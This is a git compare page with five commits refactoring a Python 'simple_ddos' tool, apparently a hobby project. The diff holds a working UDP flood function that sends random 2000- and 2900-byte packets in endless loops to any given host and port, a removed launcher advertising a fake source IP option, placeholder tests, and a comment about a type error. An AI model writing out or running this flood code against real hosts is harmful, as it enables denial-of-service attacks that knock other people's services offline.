Compare commits

...

5 commits

Author SHA1 Message Date
Tiffany
1925178f20 Add comment about error received during run 2023-11-09 17:44:28 -05:00
Tiffany
68cc8479f6 Add gethostbyname method to fix type casting error 2023-11-09 17:40:41 -05:00
Tiffany
846b86fafd Simplify Typer object 2023-11-08 23:18:30 -05:00
Tiffany
45322152ee Refactor ddos script, add tests 2023-11-07 23:46:00 -05:00
Tiffany
b0c14895b4 Create new branch to refactor cli 2023-11-06 18:27:52 -05:00
7 changed files with 60 additions and 44 deletions

19
main.py
View file

@ -1,19 +0,0 @@
#!/usr/bin/python
import argparse
from src import ddos
def main():
parser = argparse.ArgumentParser(description="DDoS Proof of concept")
parser.add_argument('-t', '--target', help="Attack target IP address")
parser.add_argument('-p', '--port', help="Port to attack")
parser.add_argument('-i', '--ipaddress', help="Fake ip address")
args = parser.parse_args(ddos)
if __name__ == "__main__":
main()

4
requirements.txt Normal file
View file

@ -0,0 +1,4 @@
typer==0.3.2
colorama==0.4.4
shellingham==1.4.0
pytest==6.2.4

5
simple_ddos/__init__.py Normal file
View file

@ -0,0 +1,5 @@
"""Top-level package for Simple DDoS."""
# simple_ddos/__init__.py
__app_name__ = 'simple_ddos'
__version__ = "0.1.0"

View file

@ -1,6 +1,14 @@
"""Top-level package for Simple DDoS."""
# simple_ddos/py_ddos.py
import os
import platform
import random
import ipaddress
from ipaddress import IPv4Address
import typer
# import threading
import socket
@ -11,12 +19,6 @@ import socket
# TODO: Get plenty of water and sleep
# ANSI colors with proper escape
R = '\033[31m'
G = '\033[32m'
C = '\033[36m'
W = '\033[0m'
# v1: just create ddos script
# Instead of using SOCK_STREAM for TCP connections
@ -35,7 +37,6 @@ bytes1 = random.randbytes(2000)
bytes2 = random.randbytes(2900)
system = platform.uname().system
# this is better system = getattr(platform.uname(), "system")
# instead of hardcoding a specific index
# because if something in the l
@ -48,48 +49,51 @@ def check_os():
os.system("clear")
class DDoS:
pass
def __init__(self, target, port, ip):
self.target = target
self.port = port
self.ip = ip
# call function to check what system is used
# Why use a try
def ddos(target, port, ipaddress):
def ddos(target, port, ip: bool = False):
sent = 0
try:
while True:
sock.sendto(bytes1, (target, port))
net = socket.gethostbyname(target)
sock.sendto(bytes1, (net, port))
sent = sent + 1
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
while True:
sock.sendto(bytes2, (target, port))
net2 = socket.gethostbyname(target)
sock.sendto(bytes2, (net2, port))
sent = sent + 1
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
# Break out of infinite loop
except KeyboardInterrupt:
print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W)
print('\n' + 'Keyboard Interrupt. Terminating session...')
except socket.gaierror:
print(R + '[-] ' + C + 'Unknown address.')
print(R + '[-] ' + C + 'Please input the correct ip address.')
print('Unknown address.')
print('Please input the correct ip address.')
except NameError:
print(R + '[-] ' + C + 'Unknown address.')
print(R + '[-] ' + C + 'Please input the correct ip address.')
print('Unknown address.')
print('Please input the correct ip address.')
# For introducing to the script later
# for i in range(150):
# thread = threading.Thread(target=ddos)
# thread.start()
# This is the line I use to run this script:
# python py_ddos.py "192.168.xx.xxx" "port"
# This is the Error:
# sock.sendto(bytes1, (net, port))
# TypeError: 'str' object cannot be interpreted as an integer
# What am I missing here?
if __name__ == "__main__":
typer.run(ddos)

View file

View file

@ -0,0 +1,10 @@
import unittest
class MyTestCase(unittest.TestCase):
def test_something(self):
self.assertEqual(True, False) # add assertion here
if __name__ == '__main__':
unittest.main()

View file

@ -0,0 +1,12 @@
# tests/test_rptodo.py
from typer.testing import CliRunner
from simpleDDoS import __app_name__, __version__, cli
runner = CliRunner()
def test_version():
result = runner.invoke(cli.app, ["--version"])
assert result.exit_code == 0
assert f"{__app_name__} v{__version__}\n" in result.stdout